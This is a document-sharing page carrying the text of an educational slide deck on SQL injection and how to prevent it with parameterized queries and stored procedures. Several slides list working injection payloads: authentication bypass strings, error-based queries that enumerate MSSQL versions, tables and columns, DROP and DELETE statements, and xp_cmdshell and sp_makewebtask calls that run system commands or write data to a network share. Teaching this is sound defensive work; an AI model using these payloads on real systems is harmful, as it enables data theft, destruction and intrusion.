Book SQL Injection

Chia sẻ: Rock Injection | Ngày: | Loại File: PPT | Số trang:24

Thêm vào BST

Báo xấu

156
lượt xem 29
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

SQL is now is one of the most common attacks in the internet. Simply go to Yahoo! or Google and search for "SQL injection" and we can find tones of related documents.

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: Book SQL Injection

SQL Injection What is This ? And How to Denfend ? Presenter : Pham Nhat Anh
AGENDA • Introduction • SQL Injection statistics over 6 years • Risks Posed By SQL Injection • How to prevent SQL Injection correctly • Question & Answers
INTRODUCTION • SQL is now is one of the most common attacks in the internet. Simply go to Yahoo! or Google and search for "SQL injection" and we can find tones of related documents. • Although the awareness of SQL injection is rising, still many people do not have very concrete ideas on how to prevent SQL injection attack. • This presentation is going to tell you Not Only some information about SQL injection but also more important things, How to prevent SQL injection correctly.
What is SQL injection ? • The process of adding SQL Statements in user input • Used by hackers to – Probing databases – Bypass authorization – Execute multiple SQL Statements – Call build-in stored procedures
What is SQL injection …? • SQL statements “injected” into an existing SQL command • Used Injection occurs through malformed application input: – Text Box – Query String – Manipulated values in HTML
SQL injection Example sql = "select * from users where username = ‘" + username + "‘ and password = ‘" + password + "‘"; • If the username and password are read directly from a web form or windows form textbox, the user could enter any of the following: – Username: ‘; drop table users– Password: – Finaly query: select * from users where username = ‘‘; drop table users -- ‘ and password = ‘‘;
SQL Injection statistics
SQL Injection statistics
SQL Injection statistics
SQL Injection statistics
SQL Injection statistics
SQL Injection statistics
Risks Posed by SQL injection. • Confidentiality – SELECT • Data Integrity – INSERT – DROP – DELETE • Authentication bypass – ‘OR 1 = 1-- • System compromise – Stored Procedures – Extended Stored Procedures
CONFIDENTIALITY • Get some important information with select statements – Get Server Version http://localhost/demo.aspx?id=1' OR 1=CONVERT(int,(SELECT @@version))-- – Get Database Name http://localhost/demo.aspx?id=1’ OR 1 = CONVERT(int,(db_name())) -- – Get Tables list http://localhost/demo.aspx?id =1 ‘ OR 1= CONVERT(int,(SELECT name from sysobject Where xtype=‘U’))-- – Get Columns List ' OR 1=CONVERT(int,(SELECT TOP 1 [name] FROM syscolumns WHERE [ID] =(SELECT [ID] FROM sysobjects WHERE [name]='rfPayment_Methods')))--
Data Integrity • Insert ‘; INSERT INTO Table1(col1,col2) VALUES (‘Admin2’,’123456’) -- • Delete ‘ ; DELETE FROM Table1 WHERE col1 =‘Admin’ -- • Drop ‘ ; DROP TABLE Table1 --
AUTHENTICATION BYPASS • Login – Username = ‘ OR ‘’=‘ Password = ‘ OR ‘’=‘ – Username = ‘ OR 1=1 -- – Username = ‘ OR ‘a’=‘a’ --
System Compromise • Extended Stored Procedures – ‘ ; EXEC master.dbo.xp_cmdshell ‘Net user >c:\inetpub\wwwroot\users.txt’ -- – ‘; EXEC sp_makewebtask '\\10.1.1.2\public\output.html', 'SELECT * FROM ADMIN‘ --
How to prevent SQL Injection correctly • Input Validation and Remove some meta chars(‘ “ ; \\ …) • parameterize DML • stored procedures • Remove unusual system stored procedures
PARAMETERIZE DML If DML is a requirement of the application add parameters to the SQL statements string sql = "SELECT * FROM Users " + "WHERE username=@Username " + "AND password= @Password"; SqlCommand command = new SqlCommand (sql, connection); command.Parameters.Add("@Username", SqlDbType.VarChar).Value = UserName.Text; command.Parameters.Add("@Password", SqlDbType.VarChar).Value = Password.Text;
STORED PROCEDURES • Less vulnerable to SQL injection attacks • Added security via EXECUTE permission SqlCommand command = new SqlCommand ("Users_GetUser", connection); command.CommandType = CommandType.StoredProcedure; SqlCommand command = new SqlCommand (sql, connection); command.Parameters.Add("@Username", SqlDbType.VarChar).Value = UserName.Text; command.Parameters.Add("@Password", SqlDbType.VarChar).Value = Password.Text;